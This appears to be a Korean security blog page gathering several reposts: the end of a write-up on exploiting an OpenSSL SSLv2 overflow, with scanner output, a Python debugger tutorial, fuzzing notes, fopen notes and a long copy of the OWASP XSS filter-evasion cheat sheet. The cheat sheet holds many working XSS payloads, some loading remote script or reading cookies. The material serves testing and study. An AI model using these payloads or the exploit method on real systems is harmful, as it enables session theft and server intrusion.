We'll use the same buffer overflow to get the address of the shellcode and to overwrite the malloc chunks. The problem is that we need to know the shellcode address before we send it to the server.

The only solution is to send 2 requests. The first request overwrites session_id_length and we complete the handshake to get the SERVER_FINISHED message. Then we adjust our shellcode and open a second connection which we use to send it.

If we're dealing with a forking server like Apache, the two children will have an identical memory layout and malloc() will put the session structure at the same address. Of course, life is never that simple. Apache children can handle multiple requests, which would change the memory allocation pattern of the two children we use.

To guarantee that both children are freshly spawned, our exploit will open a number of connections to the server before sending the two important requests. These connection should use up all available Apache children and force new ones to be spawned.

If the server traffic is high, the exploit might fail. If the memory allocation patterns are different, the exploit might fail. If you have a wrong GOT address, the exploit will definitely fail.

openssl-scanner

$ ./openssl-scanner -h
: openssl-scanner : OpenSSL vulnerability scanner
  by Solar Eclipse <solareclipse@phreedom.org&gt;

Usage: ./openssl-scanner [options] <host&gt;
  -i <inputfile&gt;     file with target hosts
  -o <outputfile&gt;    output log
  -a                 append to output log (requires -o)
  -b                 check for big endian servers
  -C                 scan the entire class C network the host belogs to
  -d                 debug mode
  -w N               connection timeout in seconds

Examples: ./openssl-scanner -d 192.168.0.1
          ./openssl-scanner -i hosts -o my.log -w 5


$ ./openssl-scanner -C 192.168.0.0
: openssl-scanner : OpenSSL vulnerability scanner
  by Solar Eclipse <solareclipse@phreedom.org&gt;

Opening 255 connections . . . . . . . . . . done
Waiting for all connections to finish . . . . . . . . . . . done

192.168.0.136: Vulnerable

openssl-scanner overflows the master_key_length, master_key[] and session_id_length variables in the SSL_SESSION structure. The first two are uninitialized at this point, so overwriting them has no effect on openssl. The first place where the session_id_length variable is used after we overwrite it is in session_finish() (ssl/s2_srvr.c:847)

memcpy(p,s->session->session_id, (unsigned int)s->session->session_id_length);

This data is returned in the SERVER_FINISHED packet. openssl-scanner checks the length of the data. If it matches the value we set session_id_length to, then the server is exploitable.

OpenSSL 0.9.6e and higher versions return

192.160.0.2: Server error: SSL2_PE_UNDEFINED_ERROR (0x00) after KEY_ARG data was sent. Server is not vulnerable.

The updates that most vendors have put out backport the changes from 0.9.6e to 0.9.6b or some other version of OpenSSL. They don't return an error like 0.9.6e. The updated RedHat and Debian packages) would close the connection immediatelly after they receive the oversized KEY_ARG data, causing openssl-scanner to report

192.168.0.1: Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable.

IIS servers exhibit the same behavior.

IIS servers that don't have a certificate set up close the connection as soon as they receive the CLIENT_HELLO packet. openssl-scanner reports this as

192.168.0.2: Connection unexpectedly closed

Posted by k1rha
2013. 2. 13. 10:46

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2013. 1. 29. 21:26

[출처 : 파이썬 해킹프로그래밍 ] 



간단한 디버거을 만드는 큰 흐름은 아래 와 같다.




위 내용을 우선 winapi를 사용하는 방법으로 파이썬에서 실행시키는 것부터 시작 하였다.

아래는 기본적인 createProcessA() 함수를 받을수 있도록 선언된 상태에서 calc 를 실행시키는 부분까지 이다. 

즉 위 표에서 파란색 부분만이다.






test.py



import my_debugger


debugger = my_debugger.debugger()

debugger.load("C:\\WINDOWS\\system32\\calc.exe")








my_debugger_defines.py



from ctypes import *


#Ctypes 형태의 타입을 마이크로 소포트의 타입으로 매핑시켜서 사용하기 위한 정의이다.

# 이 이후부터는 아래의 마이크로 소포트타입형은 우측의 ctype으로 재정의 된다.


WORD    =   c_ushort

DWORD   =   c_ulong

LPBYTE  =   POINTER(c_ubyte)

LPTSTR  =   POINTER(c_char)

HANDLE  =   c_void_p


DEBUG_PROCESS = 0x00000001

CREATE_NEW_CONSOLE  =   0x00000010


#윈도우에서 프로세스를 직접 실행시키는 방법은 CreateProcessA() 함수를 호출해야 한다.

#아래 구조체는  CreateProccessA() 를위한 구조체이다. 

class STARTUPINFO(Structure):

    

    _fields_ = [

                    ("cb",      DWORD),

                    ("lpReserved",  LPTSTR),

                    ("lpDesktop",   LPTSTR),

                    ("lpTitle", LPTSTR),

                    ("dwX", DWORD),

                    ("dwY",DWORD),

                    ("dwXSize",DWORD),

                    ("dwYSize",DWORD),

                    ("dwXCountChars",DWORD),

                    ("dwYCountChars",DWORD),

                    ("dwFillAttribute",DWORD),

                    ("dwFlags",DWORD),

                    ("wShowWindow",WORD),

                    ("cbReserved2",WORD),

                    ("lpReserved2",LPBYTE),

                    ("hStdInput",HANDLE),

                    ("hStdOutput",HANDLE),

                    ("hStdError",HANDLE),

                ]

    

#실행한 프로세스의 정보를 닮도록 구성된 구조체 이다. 

#어떠한 프로세스를 실행하면 프로세스 아이디와 쓰레드아이디 정보가 여기에 담긴다

class PROCESS_INFORMATION(Structure):

    _fields_=[

                  ("hProcess", HANDLE),

                  ("hThread",HANDLE),

                  ("dwProcessId",DWORD),

                  ("dwThreadId",DWORD),          

              ]

        

        




my_debugger.py



from ctypes import *

from my_debugger_defines import *


kernel32 = windll.kernel32


class debugger():

    

    #생성자와 같은 연락을 하고 초기화를 담당한다.

    def __init__(self):

        pass

    

    #클래스 debgger가 로드될시 자기 자신과 실행할주소가 들어가게된다. 첫번째 인자는 반드시 self 여야 한다.

    

    def load(self,path_to_exe):

        

        #계산기의 GUI를 보고자 한다면 creation_flags를 

        #CREATE_NEW_CONSOLE로 설정하면된다.

        creation_flags = DEBUG_PROCESS

        

        #구조체를 인스턴스화시킨다.

        startupinfo = STARTUPINFO()

        process_information = PROCESS_INFORMATION()

        

        #다음의 두 옵션은 프로세스가 도립적인 창으로 실행되게 만들어준다

        #이는 STARTUPINFO struct 구조체의 설정 내용에 따라 디버깅 프로세스에 어떤 영향을 미치는지 보여준다.

        startupinfo.dwFlags = 0x1

        startupinfo_wShowWindow = 0x0

        

        #다음에는 STARTUPINFO struct 구조체 자신의 크기를 나타내는 cb변수 값을 초기화 한다.

        

        

        startupinfo.cb = sizeof(startupinfo)

        

        if kernel32.CreateProcessA(path_to_exe,

                                   None,

                                   None,

                                   None,

                                   None,

                                   creation_flags,

                                   None,

                                   None,

                                   byref(startupinfo),

                                   byref(process_information)):

            

                                                print "[*]We have successfully lanunched the process!"

                                                print "[*]Pid : %d" %process_information.dwProcessId

        

        else:

            print "[*]Error :0x%08x." %kernel32.GetLastError()

            





Posted by k1rha
2013. 1. 29. 11:15

 [ 출처 : http://mystic24.egloos.com/901967 ]

 

 

Fuzz란 소프트웨어에 랜덤 데이터를 입력함으로써 소프트웨어의 조직적인 실패를 유발함으로써 소프트웨어의 보안적 취약점을 찾아내는 것을 의미하며 Fuzzing은 오늘날 가장 효과적인 소프트웨어의 보안 테스트로 접근되고 있다.

최근 관련 서적을 읽으면서 아직 초반 부분정도로 밖에 읽지는 않았지만 지금까지 읽는 내용을 정리해보려고 한다.


취약점을 발견하는 방법
* White Box Testing
  - 소스코드 리뷰를 통해 프로그램의 취약점을 발견하는 방법
  - 관련 코드 감시 툴
   - RATS, ITS4, SPlint, FlawFinder, jLint, CodeSpy

* Black Box Testing
  - 단계적인 테스팅을 통한 프로그램의 관찰
  - 자동화된 테스팅, Fuzzing

* Gray Box Testing
 - White Box Test 와 Black Box Test 의 중간 단계
 - 이진 데이터의 감시
  - LogiScan, BugScam, Inspector, SecurityReview, BinAudit

Fuzzer에 의해 전형적으로 들어나 있는 취약점
 * Access Control 의 결점
 * 잘못된 로직 디자인
 * 백도어
 * 메모리의 부패 (엉뚱한 메모리 값)

Fuzzing의 방법
 * 테스트 케이스의 선행
 * 랜덤 데이터의 주입
 * 프로토콜의 변형 테스트
 * 변형 또는 거칠게 주입시키는 테스트
 * 자동화된 프로토콜을 생성

Fuzzer의 종류
 * 로컬 Fuzzer
  - 프로그램 실행 변수(Command-Line) 및 환경 변수, 파일포멧을 통한 Fuzzer
 * 원격 조작
 * 네트워크 프로토콜
 * 웹 어플리케이션
 * 웹 브라우져
 * In-Memory
 * 프레임워크

효과적인 Fuzzing을 위한 필요조건
 * 문서화
 * 재사용성
 * 프로세스의 상태와 깊이
 * 트래킹, 코드보호
 * 에러 검출
  - 에러를 모니터링 하여 전달
 * 리소스 제한


자동화와 데이터의 생산
 * 관련 툴 및 라이브러리
  - Ethereal. Wireshark
  - LIBDASM, LIBDISASM
  - Libnet, LibnetNT
  - LinPCSP
  - Metro Packet Library
  - PTrace
  - Python Extensions
 
 * 데이터의 생성과 Fuzz 발견법
  - 정수값
   - 예를 들어, 다음과 같은 코드가 있다고 하자

int size = red_ccr_size(packet);
buffer = (char*) malloc(size + 1);


    이러한 코드의 접근은 메모리 오버플로우가 발생 할 수 있다. (즉 size 값이 0xFFFFFFFF 의 극한의 데이터라면 size + 1 = 0, 메모리 오버플로우가 발생하게 된다. 반대의 경우도 언더플로우가 발생할 수 있다).
   만약 데이터를 할당시에 size에 곱하기가 이루어 질 경우 이 좀더 낮은 숫자값으로도 발생

buffer = (char*) malloc((size * 2) + 1);

  - 스트링의 반복
  - 필드의 경계부호
   - ex) !@#$%^&*()-_=+{}|\;:'",<.>/?~`
  - 포멧화된 문자열
  - 문자 전환
  - Directory 검색
  - 명령어 주입

환경 변수와 인수 Fuzzing (Local Fuzzing)
 * Command-Line 인수
 * 환경변수

 명령어의 인수나 환경변수를 통해 옵션을 포함시켜 해당 값에 대한 어플리케이션의 반응을 살펴본다.
 
웹 어플리이션 및 서버 Fuzzing
 네트워크 프로토콜을 통하여 패킷을 전송하여 웹메일, 게시판, 위키, 웹블로그 등등을 Fuzzing한다. 주로 HTTP 통신을 하며, 디렉토리 탐색, 패킷 데이터의 오버플로우, SQL의 주입(로그인 데이터), XSS 스크립팅을 통해 HTTP 상태코드 및 웹서버의 에러 메시지, 통신 연결 을 검출하여 취약점을 발견한다.

 * 관련 웹 어플리케이션
  - SPIKE Proxy, WebScarab, SPI Fuzzer, Codenomicon, beSTROM


현재까지 읽은 부분은 10단원 까지로, 갑자기 읽어야 하는 책이 생긴 이유로 이후는 나중에 시간이 될때 계속 읽어 볼 예정이다.

 

Posted by k1rha
2013. 1. 29. 09:53

출처 : http://kamakaru.tistory.com/225

 

fopen()으로 헥사 값을 고치기 위한 방법(The method of modify hex code via fopen)

 

 

C standard library에는 여러 함수가 존재한다.
게중에는 fopen, fwrite 와 같이 파일을 제어 할 수 있는 함수들 역시 존재한다.
여기서 알아 볼 것은 fopen이다.

fopen은 파일을 여는데 사용하는 함수이다.
fopen의 함수 원형은

FILE * fopen( const char * filename, const char * mode )

인데, 파일의 이름과 mode를 인자로 받는다. mode는 문자열로 되어 있으며 해당 함수에서 해당 문자를 parsing해서 원하는 mode로 설정하는 형태를 취하고 있다.
fopen은 실제 여러 옵션자가 존재하는데,
r, w, a 로 존재한다. ( 모드 설명은 아래 그림 참고 - 출처 : http://www.winapi.co.kr )

모드

설명

r

읽기 전용으로 파일을 연다.  모드로  파일은 읽을 수만 있으며 데이터를 기록하지는 못한다. 만약 파일이 없을 경우 에러가 리턴된다.

w

쓰기 위해 파일을 연다.  모드로  파일은 쓰기만 가능하며 읽지는 못한다. 도스나윈도우즈의 파일은 쓰기 전용 속성이 없지만 스트림은 쓰기 전용 상태로   있다.파일이 없으면 새로 만들고 이미 존재한다면 기존의 파일은 지워진다.

a

추가를 위해 파일을 연다. 추가란 파일의 끝에 다른 정보를   넣는다는 뜻이다. 모드로  파일은 오픈 직후에 FP 파일의 끝으로 이동한다. 파일이 없으면 새로 만든다.

r+

읽고 쓰기가 가능하도록 파일을 연다. 파일이 없을 경우 에러가 리턴된다.

w+

읽고 쓰기가 가능하도록 파일을 연다. 파일이 없을 경우 새로 만든다.

a+

읽기와 추가가 가능하도록 파일을 연다. 파일이 없으면 새로 만든다.



이런 옵션을 사용해서 우리가 원하는 파일의 입출력을 수정할 수 있다.


그렇다면 데이터 파일의 중간의 값을 변경하기 위해서는 어떤 옵션자를 주면 되는 것일까?


임시로 만든 파일에는 위와 같은 데이터가 있다. 여기서 0x02 번지의 값인 0x32 라는 데이터 값을 0x20 으로 변경하고 싶다. 이럴땐 어떤 파일 모드로 열어야 될까?
흔히하는 방법으로 write를 수행하기 위하여 w를 하거나 혹은 a 라는 모드를 사용한다. ( windows, linux에서 모두 binary로 처리한다는 가정하에)
만약 위와 같은 방법으로 데이터를 수정하려고 한다면 심각한 고민거리에 빠져들게 된다.

즉, w의 옵션자를 사용해서 해당 위치를 fseek 함수를 통해 파일 포인터를 이동시키게 된다면, 파일이 작성되는 순간부터 해당 데이터의 뒤에 저장된 데이터에 대한 안정성은 보장해 주지 못하게 된다.

직접 실험해 보면 알겠지만, 00 , 31, 32, 33, 34 라는 데이터 나열에서 32 라는 값을 변경하기 원하여 32에 64라는 데이터를 집어 넣는다고 가정할 때, 32의 지점으로 fseek으로 파일 포인터를 이동시켜 64라는 데이터를 집어 넣는다. 그렇게 된다면 파일내의 데이터는 00, 00, 64 로 뒤에 33, 34에 대한 데이터가 삭제됨은 물론 앞의 데이터 까지 버려지게 된다.

a라는 옵션을 줘서 모드를 바꾸게 된다면 어떻게 될까? 다시 위의 가정 대로, 00, 31, 32, 33, 34 라는 데이터가 존재한다. 마찬가지로 32 라는 데이터 값을 64로 바꾸고 싶다. fseek을 통해서 파일 포인터를 이동시킨후 64라는 값을 삽입한다. 이와 같은 경우는 00, 31, 32, 33, 34, 64 라는 값이 나온다. 즉 값이 파일에 추가되어 기록이 되는 것이다.

그렇다면 '+' 연산자를 사용하여 넣으면 어떻게 될까? 안타깝게도 w+ 는 기본 모태가 'w' 이므로 데이터 기록시 w와 별반 다를게 없이 된다.( 즉 앞의 데이터는 삭제되고, 뒤의 데이터 역시 날라간다. )
a+ 역시 마찬가지의 반응을 보였다.
rw 라는 옵션을 통해 read + write 가 되게 하면 않겠는가? 라고 물으시는 분들이 있을 것이다. 궁금하신 분들은 직접 실험을 해보면 될 것이다. 잘못된 접근으로 오류가 발생함을 알 수 있을 것이다.

그렇다면 마지막 남은 'r+'에 대해서 알아 보자.
옵션자의 모태는 Read이다. 즉 파일을 읽고 '+' 연산자(모드)에 의해서 기능이 추가되었다. 즉 읽어짐을 바탕으로 하면서 원한다면 데이터를 수정할 수 있는 것이다!


그렇다! 'r+' 옵션을 사용한다면 파일내의 어떠한 위치의 값이라도 수정이 가능한 것이다. 위의 빨간 네모에서 보는 것처럼 원하는 데이터 값이 바뀌었음을 알 수 있다.

보통, 그냥 파일을 수정하라고 하면 "rw" 나 혹은 "a"를 사용해서 파일을 수정하려고 한다.
물론 'r+'를 하던 'w'를 하던 보통 프로그래밍을 할 때 중요한 것은 아니다. 그냥, 안되면 메모리에 올려서 다시 생성하면 되기 때문이다. 주변에서도 이런 것에 대해 당연 이 되는 것으로 알고 있지 직접 해본 사람이 드물며 아울러 그렇게 하는 사람도 별로 없기 때문이다. ( 아는 것과 직접 해본 경험과의 차이는 크다. )


Posted by k1rha
2013. 1. 23. 11:25

[출처 : http://ha.ckers.org/ ]

크로스 사이트 스크립트 치트시트 (XSS Cheat sheet)


XSS Filter Evasion Cheat Sheet

From OWASP
Jump to: navigation, search

Contents

[hide]

Introduction

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.

Tests

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.

XSS Locator

Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

XSS locator 2

If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

'';!--"<XSS>=&{()}

No Filter Evasion

This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Image XSS using the JavaScript directive

Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:

<IMG SRC="javascript:alert('XSS');">

No quotes and no semicolon

<IMG SRC=javascript:alert('XSS')>

Case insensitive XSS attack vector

<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML entities

The semicolons are required for this to work:

<IMG SRC=javascript:alert("XSS")>

Grave accent obfuscation

If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Malformed A tags

Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome

<a onmouseover="alert(document.cookie)">xxs link</a>

or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.

<a onmouseover=alert(document.cookie)>xxs link</a>

Malformed IMG tags

Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode

if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Default SRC tag to get past filters that check SRC domain

This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross.

<IMG SRC=# onmouseover="alert('xxs')">

Default SRC tag by leaving it empty

<IMG SRC= onmouseover="alert('xxs')">

Default SRC tag by leaving it out entirely

<IMG onmouseover="alert('xxs')">

UTF-8 Unicode encoding

all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS Calculator for more information:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

Long UTF-8 Unicode encoding without semicolons

This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Hex encoding without semicolons

This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Embedded tab

Used to break up the cross site scripting attack:

<IMG SRC="jav	ascript:alert('XSS');">

Embedded Encoded tab

Use this one to break up XSS :

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Embedded newline to break up XSS

Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

<IMG SRC="jav&#x0A;ascript:alert('XSS');">

Embedded carriage return to break up XSS

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Null breaks up JavaScript directive

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

Spaces and meta chars before the JavaScript in images for XSS

This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

<IMG SRC=" &#14;  javascript:alert('XSS');">

Non-alpha-non-digit XSS

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Extraneous open brackets

Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

<<SCRIPT>alert("XSS");//<</SCRIPT>

No closing script tags

In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >

Protocol resolution in script tags

This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.

<SCRIPT SRC=//ha.ckers.org/.j>

Half open HTML/JavaScript XSS vector

Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

<IMG SRC="javascript:alert('XSS')"

Double open angle brackets

Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

<iframe src=http://ha.ckers.org/scriptlet.html <

Escaping JavaScript escapes

When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

\";alert('XSS');//

End title tag

This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image

<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc

<IMG LOWSRC="javascript:alert('XSS')">

List-style-image

Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (older versions of Netscape only)

<IMG SRC="livescript:[code]">

BODY tag

Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

<BODY ONLOAD=alert('XSS')>

Event Handlers

It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates:

 1.	FSCommand() (attacker can use this when executed from within an embedded Flash object)
 2.	onAbort() (when user aborts the loading of an image)
 3.	onActivate() (when object is set as the active element)
 4.	onAfterPrint() (activates after user prints or previews print job)
 5.	onAfterUpdate() (activates on data object after updating data in the source object)
 6.	onBeforeActivate() (fires before the object is set as the active element)
 7.	onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand  ("Copy") function)
 8.	onBeforeCut() (attacker executes the attack string right before a selection is cut)
 9.	onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
 10.	onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
 11.	onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
 12.	onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
 13.	onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
 14.	onBegin() (the onbegin event fires immediately when the element's timeline begins)
 15.	onBlur() (in the case where another popup is loaded and window looses focus)
 16.	onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
 17.	onCellChange() (fires when data changes in the data provider)
 18.	onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
 19.	onClick() (someone clicks on a form)
 20.	onContextMenu() (user would need to right click on attack area)
 21.	onControlSelect() (fires when the user is about to make a control selection of the object)
 22.	onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
 23.	onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
 24.	onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
 25.	onDataSetChanged() (fires when the data set exposed by a data source object changes)
 26.	onDataSetComplete() (fires to indicate that all data is available from the data source object)
 27.	onDblClick() (user double-clicks a form element or a link)
 28.	onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
 29.	onDrag() (requires that the user drags an object)
 30.	onDragEnd() (requires that the user drags an object)
 31.	onDragLeave() (requires that the user drags an object off a valid location)
 32.	onDragEnter() (requires that the user drags an object into a valid location)
 33.	onDragOver() (requires that the user drags an object into a valid location)
 34.	onDragDrop() (user drops an object (e.g. file) onto the browser window)
 35.	onDrop() (user drops an object (e.g. file) onto the browser window)
 36.	onEnd() (the onEnd event fires when the timeline ends.    
 37.	onError() (loading of a document or image causes an error)
 38.	onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
 39.	onFilterChange() (fires when a visual filter completes state change)
 40.	onFinish() (attacker can create the exploit when marquee is finished looping)
 41.	onFocus() (attacker executes the attack string when the window gets focus)
 42.	onFocusIn() (attacker executes the attack string when window gets focus)
 43.	onFocusOut() (attacker executes the attack string when window looses focus)
 44.	onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
 45.	onKeyDown() (user depresses a key)
 46.	onKeyPress() (user presses or holds down a key)
 47.	onKeyUp() (user releases a key)
 48.	onLayoutComplete() (user would have to print or print preview)
 49.	onLoad() (attacker executes the attack string after the window loads)
 50.	onLoseCapture() (can be exploited by the releaseCapture() method)
 51.	onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
 52.	onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
 53.	onMouseDown() (the attacker would need to get the user to click on an image)
 54.	onMouseEnter() (cursor moves over an object or area)
 55.	onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
 56.	onMouseMove() (the attacker would need to get the user to mouse over an image or table)
 57.	onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
 58.	onMouseOver() (cursor moves over an object or area)
 59.	onMouseUp() (the attacker would need to get the user to click on an image)
 60.	onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
 61.	onMove() (user or attacker would move the page)
 62.	onMoveEnd() (user or attacker would move the page)
 63.	onMoveStart() (user or attacker would move the page)
 64.	onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
 65.	onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
 66.	onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
 67.	onProgress() (attacker would use this as a flash movie was loading)
 68.	onPropertyChange() (user or attacker would need to change an element property)
 69.	onReadyStateChange() (user or attacker would need to change an element property)
 70.	onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
 71.	onReset() (user or attacker resets a form)
 72.	onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
